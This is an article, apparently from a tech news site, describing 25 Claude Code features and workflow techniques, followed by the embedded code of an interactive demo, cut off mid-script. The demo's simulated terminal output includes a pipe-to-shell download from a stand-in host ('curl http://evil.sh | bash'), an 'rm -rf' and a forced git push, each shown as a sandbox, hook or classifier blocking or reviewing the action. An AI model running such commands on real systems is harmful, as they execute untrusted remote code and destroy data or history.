Claude Code started as a terminal coding assistant. It now runs as a layered agentic system. Underneath, Claude Code separates memory, hooks, skills, subagents, plugins, and MCP into distinct layers. Each layer changes what the model can see or do.
This article covers 25 features and strategies for scaling Claude Code. It is written for AI engineers, software engineers, and data scientists. Every code example follows a documented format and runs as written. Each item is labeled by status, so you know what ships with Claude Code and what does not.
What is Claude Code
Claude Code is Anthropic’s agentic coding tool. It works in the terminal, the desktop app, and your IDE. It can read files, run commands, edit code, and call external tools. Under the hood, it runs an agentic loop. That loop chooses tools, accumulates context, and manages long sessions through compaction.
Safety boundaries come from permission modes, checkpoints, sandboxing, and managed settings. The same loop is exposed programmatically through the Agent SDK. Developers extend the tool with a small set of primitives. Those primitives are CLAUDE.md, skills, subagents, slash commands, hooks, and MCP servers. Plugins bundle these primitives into one installable unit.
The 25 Features and Strategies
Each feature/strategy is labeled. ‘Official’ means documented Anthropic functionality. ‘Community technique’ means a workflow pattern, not a shipped feature. ‘Third-party tool’ means software built outside Anthropic.
- CLAUDE.md memory file (Official). This file is the agent’s constitution for your repository. Claude reads it every session to anchor conventions and commands.
- Skills (Official). A skill is a
SKILL.mdfile with frontmatter under.claude/skills/<name>/. It supports/nameinvocation and autonomous invocation by Claude. - Subagents (Official). Subagents are specialized instances with their own context windows. Verbose work stays isolated, so your main conversation stays focused.
- Slash commands (Official). These are typed shortcuts starting with
/. Built-ins include/init,/compact,/context,/review, and/security-review. - Hooks (Official). Hooks are deterministic scripts that fire at defined lifecycle points.
PreToolUseis the primary security checkpoint before any tool runs. - MCP servers (Official). Model Context Protocol connects Claude Code to GitHub, databases, and browsers. The server handles integration; Claude reasons about what to do.
- Plugins (Official). A plugin is a versioned bundle of skills, subagents, commands, hooks, and MCP definitions. One
/plugincommand installs the whole set. - Checkpoints (Official). Claude Code snapshots state automatically before changes. Press Escape twice to rewind when something breaks.
- Plan mode (Official). Plan mode explores and proposes without executing. It is ideal for scoping work before committing edits.
- Permission modes (Official). Default mode asks before each file write and shell command. Other modes trade oversight for speed.
- Auto Mode (Official, research preview). A separate Sonnet 4.6 classifier reviews each action first. Safe actions proceed; risky ones get blocked or escalated.
- Context compaction (Official).
/compactcondenses long sessions to preserve usable context./contextreports current context usage. - Background tasks (Official). Long shell commands run with the
run_in_backgroundflag on the Bash tool. Claude polls output without blocking the conversation. - Agent SDK (Official). The SDK exposes the same loop programmatically through
query(). You can send slash commands like/code-reviewand process results. - Headless CLI (Official).
claude -p "query"runs a one-shot process and exits. Piped input likecat logs.txt | claude -palso works. - GitHub Action and scheduled jobs (Official). Claude Code runs as a one-shot process without a TTY. This enables CI integration, scheduled jobs, and pre-commit hooks.
- Output styles and statusLine (Official). Output styles change response formatting. A custom statusLine renderer surfaces session state in the terminal.
- Remote Control and mobile push (Official). You can drive Claude Code from mobile or web surfaces. Claude can send push notifications when tasks finish.
- Away summary (Official). This session-level feature surfaces context when you return to a paused session. It is enabled by default and can be opted out.
- Sandboxing (Official). The sandboxed Bash tool enforces OS-level filesystem and network isolation. Commands run without prompts inside boundaries you define.
- Structured context folders (Community technique). Organize task-specific folders for brand guidelines, client data, or legal terminology. The right context loads for each task, improving output relevance.
- Dynamic workflows (Community technique). Break complex tasks into smaller steps using sub-agents. Common patterns include ‘classify and act’ and ‘fan out and synthesize.’
- Modular skill pipelines (Community technique). Chain reusable skills into end-to-end workflows. A support pipeline can combine categorization, response generation, and escalation skills.
- External memory layers (Third-party tool). Tools such as Mem Search or Hermes extend recall across long projects. They sit outside Claude Code’s built-in memory.
- Resilience techniques (Community technique). Practitioners reset and retry tasks when output quality degrades. This avoids context pollution and keeps results consistent.
Try the Interactive Demo
#mtp-cc-demo *{box-sizing:border-box!important;margin:0;padding:0}
#mtp-cc-demo{
background:#111!important;color:#e6e6e6!important;
font-family:-apple-system,BlinkMacSystemFont,”Segoe UI”,Roboto,Helvetica,Arial,sans-serif!important;
border:1px solid #2a2a2a!important;border-radius:14px!important;
max-width:920px!important;margin:24px auto!important;overflow:hidden!important;
line-height:1.5!important;font-size:15px!important;
}
#mtp-cc-demo .ccd-head{padding:22px 22px 16px!important;border-bottom:1px solid #1f1f1f!important;background:linear-gradient(180deg,#141414,#111)!important}
#mtp-cc-demo .ccd-badge{display:inline-block;font-size:11px!important;letter-spacing:.14em;text-transform:uppercase;color:#76B900!important;border:1px solid #2f4d00;padding:3px 9px;border-radius:999px;margin-bottom:10px;font-weight:700}
#mtp-cc-demo .ccd-title{font-size:21px!important;font-weight:800;color:#fff!important;letter-spacing:-.01em}
#mtp-cc-demo .ccd-sub{font-size:13px!important;color:#9a9a9a!important;margin-top:5px}
#mtp-cc-demo .ccd-tabs{display:flex;flex-wrap:wrap;gap:6px;padding:14px 18px 0!important;background:#0d0d0d!important;border-bottom:1px solid #1f1f1f!important}
#mtp-cc-demo .ccd-tab{appearance:none;border:1px solid #242424!important;background:#161616!important;color:#bdbdbd!important;
padding:9px 14px!important;border-radius:9px 9px 0 0!important;font-size:13px!important;font-weight:600;cursor:pointer;transition:all .15s}
#mtp-cc-demo .ccd-tab:hover{color:#fff!important;border-color:#3a3a3a!important}
#mtp-cc-demo .ccd-tab.on{background:#111!important;color:#76B900!important;border-color:#2f4d00!important;border-bottom-color:#111!important}
#mtp-cc-demo .ccd-body{padding:20px 22px 24px!important;min-height:340px}
#mtp-cc-demo .ccd-pane{display:none}
#mtp-cc-demo .ccd-pane.on{display:block;animation:ccdfade .25s ease}
@keyframes ccdfade{from{opacity:0;transform:translateY(4px)}to{opacity:1;transform:none}}
/* Filter chips */
#mtp-cc-demo .ccd-chips{display:flex;flex-wrap:wrap;gap:7px;margin-bottom:16px}
#mtp-cc-demo .ccd-chip{border:1px solid #242424!important;background:#161616!important;color:#b5b5b5!important;
font-size:12px!important;font-weight:600;padding:6px 12px!important;border-radius:999px!important;cursor:pointer;transition:all .15s}
#mtp-cc-demo .ccd-chip:hover{border-color:#3a3a3a!important;color:#fff!important}
#mtp-cc-demo .ccd-chip.on{background:#76B900!important;color:#0a0a0a!important;border-color:#76B900!important}
#mtp-cc-demo .ccd-grid{display:grid;grid-template-columns:repeat(2,1fr);gap:10px}
#mtp-cc-demo .ccd-card{border:1px solid #1f1f1f!important;background:#151515!important;border-radius:11px!important;padding:13px 14px!important;cursor:pointer;transition:all .15s}
#mtp-cc-demo .ccd-card:hover{border-color:#2f4d00!important;background:#181b13!important;transform:translateY(-1px)}
#mtp-cc-demo .ccd-card h4{font-size:14px!important;color:#fff!important;display:flex;align-items:center;gap:8px;font-weight:700}
#mtp-cc-demo .ccd-num{flex:0 0 auto;width:22px;height:22px;border-radius:6px;background:#1d2a08!important;color:#76B900!important;font-size:11px!important;display:flex;align-items:center;justify-content:center;font-weight:800}
#mtp-cc-demo .ccd-tag{font-size:10px!important;text-transform:uppercase;letter-spacing:.08em;padding:2px 7px;border-radius:5px;font-weight:700;margin-left:auto}
#mtp-cc-demo .t-official{background:#13270a!important;color:#76B900!important}
#mtp-cc-demo .t-technique{background:#1a2433!important;color:#6fa8ff!important}
#mtp-cc-demo .t-third{background:#2a1d33!important;color:#c08bff!important}
#mtp-cc-demo .ccd-card p{font-size:12.5px!important;color:#9a9a9a!important;margin-top:7px;display:none}
#mtp-cc-demo .ccd-card.open p{display:block}
#mtp-cc-demo .ccd-chead{cursor:pointer}
#mtp-cc-demo .ccd-play{display:none;margin-top:11px;border-top:1px solid #1f1f1f!important;padding-top:11px!important}
#mtp-cc-demo .ccd-card.open .ccd-play{display:block}
#mtp-cc-demo .ccd-ctl{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin-bottom:9px}
#mtp-cc-demo .ccd-runbtn{background:#76B900!important;color:#0a0a0a!important;border:none!important;font-weight:700;font-size:12px!important;padding:7px 14px!important;border-radius:7px!important;cursor:pointer}
#mtp-cc-demo .ccd-runbtn:hover{background:#8fd400!important}
#mtp-cc-demo .ccd-fout{background:#0a0a0a!important;border:1px solid #1a1a1a!important;border-radius:8px!important;padding:10px 11px!important;font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:11.5px!important;line-height:1.65;max-height:185px;overflow-y:auto}
#mtp-cc-demo .ccd-fout .u{color:#76B900!important}
#mtp-cc-demo .ccd-fout .s{color:#7fb3ff!important}
#mtp-cc-demo .ccd-fout .d{color:#cfcfcf!important}
#mtp-cc-demo .ccd-fout .w{color:#ffb454!important}
#mtp-cc-demo .ccd-fout .e{color:#ff6b6b!important}
#mtp-cc-demo .ccd-fout .muted{color:#666!important}
#mtp-cc-demo .ccd-sel,#mtp-cc-demo .ccd-pin{background:#0d0d0d!important;border:1px solid #242424!important;border-radius:7px!important;color:#fff!important;-webkit-text-fill-color:#fff!important;padding:6px 9px!important;font-size:12px!important;font-family:”SF Mono”,Menlo,Consolas,monospace!important}
#mtp-cc-demo .ccd-pin{min-width:170px;flex:1 1 170px}
#mtp-cc-demo .ccd-toggle{display:inline-flex;align-items:center;gap:7px;background:#161616!important;border:1px solid #242424!important;color:#cfcfcf!important;font-size:12px!important;padding:6px 11px!important;border-radius:7px!important;cursor:pointer}
#mtp-cc-demo .ccd-toggle b{color:#ff6b6b!important}
#mtp-cc-demo .ccd-toggle.on b{color:#76B900!important}
#mtp-cc-demo .ccd-knob{width:9px;height:9px;border-radius:50%;background:#ff6b6b;display:inline-block}
#mtp-cc-demo .ccd-toggle.on .ccd-knob{background:#76B900}
#mtp-cc-demo .ccd-count{font-size:12px!important;color:#777!important;margin:4px 0 14px}
#mtp-cc-demo .ccd-pickrow{display:flex;gap:10px;align-items:center;flex-wrap:wrap;margin-bottom:12px}
#mtp-cc-demo .ccd-plabel{font-size:12px!important;color:#9a9a9a!important;font-weight:600}
#mtp-cc-demo select.ccd-featsel{flex:1 1 220px;min-width:200px;background:#0d0d0d!important;border:1px solid #2f4d00!important;border-radius:9px!important;color:#fff!important;-webkit-text-fill-color:#fff!important;padding:10px 12px!important;font-size:13px!important;font-weight:600;font-family:inherit!important;cursor:pointer}
#mtp-cc-demo select.ccd-featsel:focus{outline:none!important;border-color:#76B900!important}
/* Terminal */
#mtp-cc-demo .ccd-term{background:#0a0a0a!important;border:1px solid #1f1f1f!important;border-radius:11px!important;overflow:hidden}
#mtp-cc-demo .ccd-termbar{display:flex;align-items:center;gap:7px;padding:9px 13px!important;border-bottom:1px solid #1a1a1a!important;background:#0d0d0d!important}
#mtp-cc-demo .ccd-dot{width:11px;height:11px;border-radius:50%}
#mtp-cc-demo .ccd-out{padding:14px 15px!important;height:250px;overflow-y:auto;font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:12.5px!important;line-height:1.7}
#mtp-cc-demo .ccd-out .u{color:#76B900!important}
#mtp-cc-demo .ccd-out .s{color:#7fb3ff!important}
#mtp-cc-demo .ccd-out .d{color:#cfcfcf!important}
#mtp-cc-demo .ccd-out .w{color:#ffb454!important}
#mtp-cc-demo .ccd-out .e{color:#ff6b6b!important}
#mtp-cc-demo .ccd-out .muted{color:#666!important}
#mtp-cc-demo .ccd-inrow{display:flex;align-items:center;border-top:1px solid #1a1a1a!important;padding:10px 13px!important;background:#0d0d0d!important;position:relative;z-index:2;cursor:text}
#mtp-cc-demo .ccd-prompt{color:#76B900!important;font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:13px!important;margin-right:8px;font-weight:700}
#mtp-cc-demo input.ccd-in{
flex:1 1 auto!important;min-width:0!important;width:auto!important;height:auto!important;
background:transparent!important;border:none!important;outline:none!important;box-shadow:none!important;
color:#ffffff!important;-webkit-text-fill-color:#ffffff!important;caret-color:#76B900!important;
font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:13px!important;line-height:1.5!important;
opacity:1!important;pointer-events:auto!important;cursor:text!important;
-webkit-user-select:text!important;user-select:text!important;-webkit-appearance:none!important;appearance:none!important;
margin:0!important;padding:0!important;border-radius:0!important;
}
#mtp-cc-demo .ccd-hint{font-size:11.5px!important;color:#777!important;margin-top:10px}
#mtp-cc-demo .ccd-hint code{color:#76B900!important;background:#141414!important;padding:1px 5px;border-radius:4px}
/* Classifier */
#mtp-cc-demo .ccd-pick{display:flex;flex-wrap:wrap;gap:7px;margin-bottom:14px}
#mtp-cc-demo .ccd-pill{border:1px solid #242424!important;background:#151515!important;color:#cfcfcf!important;font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:12px!important;padding:7px 11px!important;border-radius:8px!important;cursor:pointer;transition:all .15s}
#mtp-cc-demo .ccd-pill:hover{border-color:#3a3a3a!important;color:#fff!important}
#mtp-cc-demo .ccd-verdict{border-radius:11px!important;padding:16px!important;border:1px solid #1f1f1f!important;background:#121212!important;min-height:120px}
#mtp-cc-demo .ccd-vhead{display:flex;align-items:center;gap:10px;font-weight:800;font-size:15px!important}
#mtp-cc-demo .v-safe{color:#76B900!important}#mtp-cc-demo .v-block{color:#ff6b6b!important}#mtp-cc-demo .v-esc{color:#ffb454!important}
#mtp-cc-demo .ccd-vbody{font-size:13px!important;color:#a5a5a5!important;margin-top:9px}
#mtp-cc-demo .ccd-vmeta{font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:11.5px!important;color:#76B900!important;background:#0d0d0d!important;border:1px solid #1a1a1a;border-radius:7px;padding:8px 10px;margin-top:10px;word-break:break-all}
/* Builder */
#mtp-cc-demo .ccd-field{margin-bottom:12px}
#mtp-cc-demo .ccd-field label{display:block;font-size:12px!important;color:#9a9a9a!important;margin-bottom:5px;font-weight:600}
#mtp-cc-demo .ccd-field input,#mtp-cc-demo .ccd-field textarea{width:100%!important;background:#0d0d0d!important;border:1px solid #242424!important;border-radius:8px!important;color:#fff!important;padding:9px 11px!important;font-size:13px!important;font-family:inherit!important}
#mtp-cc-demo input,#mtp-cc-demo textarea{
color:#ffffff!important;-webkit-text-fill-color:#ffffff!important;caret-color:#76B900!important;
opacity:1!important;pointer-events:auto!important;-webkit-user-select:text!important;user-select:text!important;cursor:text!important;
}
#mtp-cc-demo .ccd-field input:focus,#mtp-cc-demo .ccd-field textarea:focus{border-color:#76B900!important;outline:none!important}
#mtp-cc-demo .ccd-two{display:grid;grid-template-columns:1fr 1fr;gap:12px}
#mtp-cc-demo .ccd-pre{background:#0a0a0a!important;border:1px solid #1f1f1f!important;border-radius:10px!important;padding:14px!important;font-family:”SF Mono”,Menlo,Consolas,monospace!important;font-size:12px!important;color:#cfcfcf!important;white-space:pre-wrap;margin-top:8px;min-height:150px}
#mtp-cc-demo .ccd-pre .h{color:#76B900!important}
#mtp-cc-demo .ccd-copy{margin-top:10px;background:#76B900!important;color:#0a0a0a!important;border:none!important;font-weight:700;font-size:13px!important;padding:9px 16px!important;border-radius:8px!important;cursor:pointer}
#mtp-cc-demo .ccd-copy:hover{background:#8fd400!important}
#mtp-cc-demo .ccd-foot{padding:12px 22px!important;border-top:1px solid #1a1a1a!important;font-size:11px!important;color:#666!important;background:#0d0d0d!important;display:flex;justify-content:space-between;flex-wrap:wrap;gap:6px}
@media (max-width:640px){
#mtp-cc-demo .ccd-grid,#mtp-cc-demo .ccd-two{grid-template-columns:1fr!important}
#mtp-cc-demo .ccd-title{font-size:18px!important}
#mtp-cc-demo .ccd-body{padding:16px!important}
#mtp-cc-demo .ccd-tab{padding:8px 11px!important;font-size:12px!important}
#mtp-cc-demo .ccd-out{height:220px}
}
Official
Technique
Third-party
/help /init /context /review /security-review /mcp /agents /compact — or type a plain request.
Built by Marktechpost · Verified June 2026
(function(){
var root=document.getElementById(‘mtp-cc-demo’);
if(!root||root.dataset.init)return; root.dataset.init=’1′;
var $=function(s){return root.querySelector(s)};
var $$=function(s){return root.querySelectorAll(s)};
/* —- data: 25 features —- */
var F=[
[1,’CLAUDE.md memory’,’official’,’The agentu2019s constitution for your repo. Read every session to anchor conventions and commands.’],
[2,’Skills’,’official’,’A SKILL.md file under .claude/skills//. Invoked by /name or autonomously by Claude.’],
[3,’Subagents’,’official’,’Specialized instances with their own context windows. Verbose work stays isolated from the main chat.’],
[4,’Slash commands’,’official’,’Typed shortcuts starting with /. Built-ins include /init, /compact, /context, /review.’],
[5,’Hooks’,’official’,’Deterministic scripts firing at defined lifecycle points. PreToolUse is the primary security checkpoint.’],
[6,’MCP servers’,’official’,’Model Context Protocol connects Claude Code to GitHub, databases, and browsers.’],
[7,’Plugins’,’official’,’Versioned bundles of skills, subagents, commands, hooks, and MCP definitions installed with /plugin.’],
[8,’Checkpoints’,’official’,’Automatic snapshots before changes. Press Escape twice to rewind when something breaks.’],
[9,’Plan mode’,’official’,’Explores and proposes without executing. Ideal for scoping work before committing edits.’],
[10,’Permission modes’,’official’,’Default mode asks before each file write and shell command. Other modes trade oversight for speed.’],
[11,’Auto Mode (research preview)’,’official’,’A Sonnet 4.6 classifier reviews each action first. Safe ones proceed; risky ones get blocked.’],
[12,’Context compaction’,’official’,’/compact condenses long sessions to preserve usable context. /context reports current usage.’],
[13,’Background tasks’,’official’,’Long shell commands run with run_in_background on the Bash tool, without blocking the conversation.’],
[14,’Agent SDK’,’official’,’Exposes the same loop programmatically via query(). Send slash commands and process results in code.’],
[15,’Headless CLI’,’official’,’claude -p “query” runs a one-shot process and exits. Piped input also works.’],
[16,’GitHub Action & jobs’,’official’,’Runs as a one-shot process without a TTY. Enables CI, scheduled jobs, and pre-commit hooks.’],
[17,’Output styles & statusLine’,’official’,’Output styles change formatting. A custom statusLine renderer surfaces session state.’],
[18,’Remote Control & push’,’official’,’Drive Claude Code from mobile or web. Claude can push notifications when tasks finish.’],
[19,’Away summary’,’official’,’Surfaces context when you return to a paused session. Enabled by default, opt-outable.’],
[20,’Sandboxing’,’official’,’The sandboxed Bash tool enforces OS-level filesystem and network isolation. Commands run within boundaries you define.’],
[21,’Structured context folders’,’technique’,’Task-specific folders for brand, client, or legal context. The right context loads per task.’],
[22,’Dynamic workflows’,’technique’,’Break tasks into steps with sub-agents. Patterns: classify-and-act and fan-out-and-synthesize.’],
[23,’Modular skill pipelines’,’technique’,’Chain reusable skills end-to-end. A support pipeline links categorization, response, and escalation.’],
[24,’External memory layers’,’third’,’Tools like Mem Search or Hermes extend recall. They sit outside built-in memory.’],
[25,’Resilience techniques’,’technique’,’Slot Machine Theory, Agent View, Ultra Code. Reset and retry when output degrades.’]
];
var labels={official:’Official’,technique:’Technique’,third:’Third-party’};
function esc(s){return (s||”).replace(/&/g,’&’).replace(//g,’>’);}
/* per-feature key-activity scripts: each step is [class, html, optionalDelayMs] */
var DEMOS={
1:{control:{type:’input’,default:’No default exports’,placeholder:’a convention’},run:function(v){return [
[‘muted’,’$ claude (new session)’],[‘s’,’u25cf Reading CLAUDE.md’],
[‘d’,’u00a0u00a0Project: my-tool u00b7 Build: npm run build u00b7 Test: npm test’],
[‘u’,’u00a0u00a0Convention loaded: ‘+esc(v||’No default exports’)],
[‘u’,’u2713 Context anchored. Claude follows these every turn.’]];}},
2:{control:{type:’select’,options:[‘/code-review (manual)’,’autonomous’],default:’/code-review (manual)’},run:function(v){return [
[‘u’,’> ‘+(v.indexOf(‘auto’)>-1?'(Claude detects a review task)’:’/code-review’)],
[‘s’,’u25cf Loading .claude/skills/code-review/SKILL.md’],
[‘d’,’u00a0u00a0Instructions + helper files loaded’],
[‘w’,’u00a0u00a0u26a0 src/auth.ts:42 unhandled rejection’],
[‘u’,’u2713 Skill complete. 1 issue, fix suggested.’]];}},
3:{run:function(){return [
[‘s’,’u25cf Spawning 3 subagents (parallel, isolated context)’],
[‘d’,’u00a0u00a0[frontend] building UI components…’],
[‘d’,’u00a0u00a0[backend]u00a0 wiring API routes…’],
[‘d’,’u00a0u00a0[tests]u00a0u00a0u00a0 generating unit tests…’],
[‘muted’,’u00a0u00a0(verbose work stays inside each subagent)’],
[‘u’,’u2713 Summaries returned. Main context stayed clean.’]];}},
4:{control:{type:’select’,options:[‘/init’,’/context’,’/compact’,’/review’,’/security-review’,’/mcp’,’/agents’,’/plugin’],default:’/init’},run:function(v){var m={
‘/init’:[[‘s’,’u25cf Analyzing repo’],[‘u’,’u2713 Wrote CLAUDE.md (build, test, conventions).’]],
‘/context’:[[‘s’,’u25cf Context usage’],[‘d’,’u00a0u00a0files 38% u00b7 chat 19% u00b7 free 27%’],[‘u’,’u2713 Run /compact to reclaim more.’]],
‘/compact’:[[‘s’,’u25cf Compacting’],[‘u’,’u2713 Recovered ~31% of the window.’]],
‘/review’:[[‘s’,’u25cf Reviewing staged changes’],[‘w’,’u00a0u00a0u26a0 2 issues, 0 blocking’],[‘u’,’u2713 Fixes suggested.’]],
‘/security-review’:[[‘s’,’u25cf Scanning diff’],[‘e’,’u00a0u00a0u2715 secret literal in config.ts’],[‘u’,’u2713 1 high, 1 medium.’]],
‘/mcp’:[[‘s’,’u25cf MCP servers’],[‘d’,’u00a0u00a0github u00b7 filesystem connected’],[‘u’,’u2713 /mcp add to connect more.’]],
‘/agents’:[[‘s’,’u25cf Subagents’],[‘d’,’u00a0u00a0Explore u00b7 Plan u00b7 general-purpose’],[‘u’,’u2713 Define your own in .claude/agents/’]],
‘/plugin’:[[‘s’,’u25cf Plugin manager’],[‘d’,’u00a0u00a0No plugins installed’],[‘u’,’u2713 /plugin marketplace add ‘]]};
return m[v]||[[‘muted’,’u2014′]];}},
5:{control:{type:’toggle’,label:’PreToolUse guard’},run:function(on){return [
[‘u’,’> rm -rf build/ (Claude attempts Bash)’],
on?[‘s’,’u25cf PreToolUse hook u2192 scripts/guard.sh’]:[‘muted’,’u25cf No hook configured’],
on?[‘e’,’u2715 Blocked (exit 2). Dangerous pattern matched.’]:[‘w’,’u26a0 Command would run unguarded.’],
on?[‘u’,’u2713 Claude redirected to a safe approach.’]:[‘d’,’u00a0u00a0(toggle the guard ON to block this)’]];}},
6:{run:function(){return [
[‘s’,’u25cf claude mcp add filesystem’],
[‘d’,’u00a0u00a0Tools exposed: read_file u00b7 list_dir u00b7 search_files’],
[‘u’,’> “List largest files under src”‘],[‘s’,’u25cf Calling search_files via MCP’],
[‘u’,’u2713 app.bundle.js (412 KB) returned by the server.’]];}},
7:{run:function(){return [
[‘s’,’u25cf /plugin install security-pack’],
[‘d’,’u00a0u00a0Bundled: skill(security-review) u00b7 hook(PreToolUse) u00b7 mcp(scanner)’],
[‘u’,’u2713 Installed. All components active with one command.’]];}},
8:{control:{type:’select’,options:[‘make an edit’,’rewind (Esc Esc)’],default:’make an edit’},run:function(v){return v.indexOf(‘rewind’)>-1?[
[‘w’,’u25cf Rewind requested (Esc Esc)’],[‘u’,’u2713 Reverted to last checkpoint. Edit undone.’]
]:[[‘s’,’u25cf Checkpoint saved before edit’],[‘d’,’u00a0u00a0Edited src/app.ts (32 lines changed)’],[‘u’,’u2713 Snapshot stored. Pick “rewind” to undo.’]];}},
9:{run:function(){return [
[‘s’,’u25cf Plan mode (nothing executed yet)’],
[‘d’,’u00a0u00a01. Add auth middleware’],[‘d’,’u00a0u00a02. Update routes’],[‘d’,’u00a0u00a03. Add tests’],
[‘u’,’u2713 Plan ready. Approve to execute, or refine.’]];}},
10:{control:{type:’select’,options:[‘default’,’plan’,’auto’],default:’default’},run:function(v){return v===’plan’?[
[‘s’,’u25cf Plan mode: proposes the write, no execution’],[‘u’,’u2713 No file changed yet.’]
]:v===’auto’?[[‘s’,’u25cf Auto Mode: classifier reviews the write’],[‘u’,’u2713 Low-risk u2192 applied automatically.’]
]:[[‘w’,’u25cf Action: write src/app.ts’],[‘d’,’u00a0u00a0Prompt: approve this write? (y/n)’],[‘muted’,’u00a0u00a0You decide each step.’]];}},
11:{control:{type:’input’,default:’git push –force origin main’,placeholder:’type an action’},run:function(v){var r=classify(v||”);var icon=r[0]===’safe’?’u2713′:r[0]===’block’?’u2715′:’u26a0′;var cls=r[0]===’safe’?’u’:r[0]===’block’?’e’:’w’;return [
[‘u’,’> ‘+esc(v||”)],[‘s’,’u25cf Sonnet 4.6 classifier reviewing’],[cls,icon+’ ‘+r[1]],[‘d’,’u00a0u00a0’+r[2]]];}},
12:{run:function(){return [
[‘w’,’u25cf Context window: 86% used’],[‘s’,’u25cf Running /compact’],
[‘d’,’u00a0u00a0Condensing transcript, keeping decisions + state’],
[‘u’,’u2713 Context now 55% used. ~31% reclaimed.’]];}},
13:{run:function(){return [
[‘s’,’u25cf npm run build:all (run_in_background)’],
[‘d’,’u00a0u00a0Task launched. Conversation continues…’],[‘d’,’u00a0u00a0…polling output…’],
[‘u’,’u2713 Build finished in background. You were notified.’]];}},
14:{run:function(){return [
[‘muted’,’for await (const m of query({ prompt: “/code-review” })) {}’],
[‘s’,’u25cf SDK streaming messages’],[‘d’,’u00a0u00a0tool_use u2192 Read src/auth.ts’],[‘d’,’u00a0u00a0text u2192 “Found 1 issue”‘],
[‘u’,’u2713 Same loop, driven from your code.’]];}},
15:{run:function(){return [
[‘muted’,’$ cat logs.txt | claude -p “explain errors”‘],[‘s’,’u25cf One-shot process’],
[‘d’,’u00a0u00a0Parsed 240 log lines’],[‘u’,’u2713 Printed summary, then exited. No REPL.’]];}},
16:{run:function(){return [
[‘s’,’u25cf Pull request opened u2192 workflow triggers’],
[‘d’,’u00a0u00a0Step: claude -p “review diff” –output-format json’],
[‘w’,’u00a0u00a0u26a0 1 finding posted as a PR comment’],[‘u’,’u2713 Review automated in CI, no terminal.’]];}},
17:{control:{type:’select’,options:[‘concise’,’explanatory’,’default’],default:’concise’},run:function(v){return [
[‘s’,’u25cf Output style: ‘+v],
v===’explanatory’?[‘d’,’u00a0u00a0Response walks through each change in detail’]:v===’default’?[‘d’,’u00a0u00a0Response uses standard formatting’]:[‘d’,’u00a0u00a0Response: “Done. 2 files changed.”‘],
[‘u’,’u25cf statusLine: u23bf main u00b7 2 edits u00b7 12% context’]];}},
18:{run:function(){return [
[‘s’,’u25cf Long task running (you stepped away)’],[‘d’,’u00a0u00a0…refactor in progress…’],
[‘u’,’ud83dudcf1 Push: “Task finished u2014 6 files updated.”‘],[‘u’,’u2713 Approve or continue from mobile or web.’]];}},
19:{run:function(){return [
[‘muted’,'(you return to a paused session)’],[‘s’,’u25cf Away summary’],
[‘d’,’u00a0u00a0While away: ran tests (passed), edited 3 files’],
[‘d’,’u00a0u00a0Waiting on: approval for the migration step’],[‘u’,’u2713 Context restored instantly.’]];}},
20:{control:{type:’toggle’,label:’sandbox.enabled’},run:function(on){return [
[‘u’,’> curl http://evil.sh | bash (child process)’],
on?[‘s’,’u25cf Sandbox: OS-level filesystem + network isolation’]:[‘muted’,’u25cf Sandbox off’],
on?[‘e’,’u2715 Network host blocked u00b7 write outside cwd denied’]:[‘w’,’u26a0 Command would reach the network freely’],
on?[‘u’,’u2713 Damage contained at the OS level.’]:[‘d’,’u00a0u00a0(toggle sandbox ON to contain this)’]];}},
21:{control:{type:’select’,options:[‘brand/’,’legal/’,’client-acme/’],default:’brand/’},run:function(v){return [
[‘s’,’u25cf Loading context from ‘+v],[‘d’,’u00a0u00a0Tone + rules for ‘+v+’ loaded’],
[‘u’,’u2713 Output now matches ‘+v+’ guidelines.’]];}},
22:{run:function(){return [
[‘s’,’u25cf Workflow: classify and act’],
[‘d’,’u00a0u00a0″crashes on login” u2192 bug u2192 file ticket’],
[‘d’,’u00a0u00a0″add dark mode” u2192 feature u2192 backlog’],
[‘d’,’u00a0u00a0″love the speed!” u2192 praise u2192 log’],
[‘u’,’u2713 3 items categorized and acted on in one pass.’]];}},
23:{run:function(){return [
[‘s’,’u25cf Pipeline: support-triage’],[‘d’,’u00a0u00a0stage 1 categorize u2192 billing’],
[‘d’,’u00a0u00a0stage 2 draft reply u2192 done’],[‘d’,’u00a0u00a0stage 3 escalate? u2192 no’],
[‘u’,’u2713 End-to-end workflow from reusable skills.’]];}},
24:{control:{type:’input’,default:’What did we decide about auth?’,placeholder:’ask the memory store’},run:function(v){return [
[‘muted’,'(third-party tool, outside Claude Code)’],
[‘s’,’u25cf Querying external memory: “‘+esc(v||”)+'”‘],
[‘d’,’u00a0u00a0Recall: “Chose JWT over sessions, 2 weeks ago”‘],[‘u’,’u2713 Continuity across long projects.’]];}},
25:{run:function(){return [
[‘w’,’u25cf Output quality degrading (context pollution)’],[‘s’,’u25cf Reset and retry from a clean state’],
[‘d’,’u00a0u00a0Re-running the task fresh…’],[‘u’,’u2713 Quality restored. Bad context discarded.’]];}}
};
var sel=$(‘#ccd-featsel’),single=$(‘#ccd-single’),count=$(‘#ccd-count’),curF=’all’;
function streamSteps(el,steps){
el.innerHTML=”;var i=0;
(function next(){
if(i>=steps.length)return;
var s=steps[i++];var d=document.createElement(‘div’);
d.className=s[0];d.innerHTML=s[1];el.appendChild(d);el.scrollTop=el.scrollHeight;
setTimeout(next,s[2]||280);
})();
}
function buildPlay(card,x){
var demo=DEMOS[x[0]];
var play=document.createElement(‘div’);play.className=’ccd-play’;
play.addEventListener(‘click’,function(e){e.stopPropagation();});
var ctl=document.createElement(‘div’);ctl.className=’ccd-ctl’;
var getVal=function(){return null;};
if(demo&&demo.control){
var c=demo.control;
if(c.type===’toggle’){
var b=document.createElement(‘button’);b.type=’button’;b.className=’ccd-toggle on’;b.dataset.on=’1′;
b.innerHTML=’‘+(c.label||’Enabled’)+’: ON‘;
b.onclick=function(){var on=b.dataset.on===’1′;b.dataset.on=on?’0′:’1’;b.classList.toggle(‘on’,!on);b.querySelector(‘b’).textContent=on?’OFF’:’ON’;};
ctl.appendChild(b);getVal=function(){return b.dataset.on===’1′;};
} else if(c.type===’select’){
var sel=document.createElement(‘select’);sel.className=’ccd-sel’;
c.options.forEach(function(o){var op=document.createElement(‘option’);op.value=o;op.textContent=o;sel.appendChild(op);});
if(c.default)sel.value=c.default;ctl.appendChild(sel);getVal=function(){return sel.value;};
} else if(c.type===’input’){
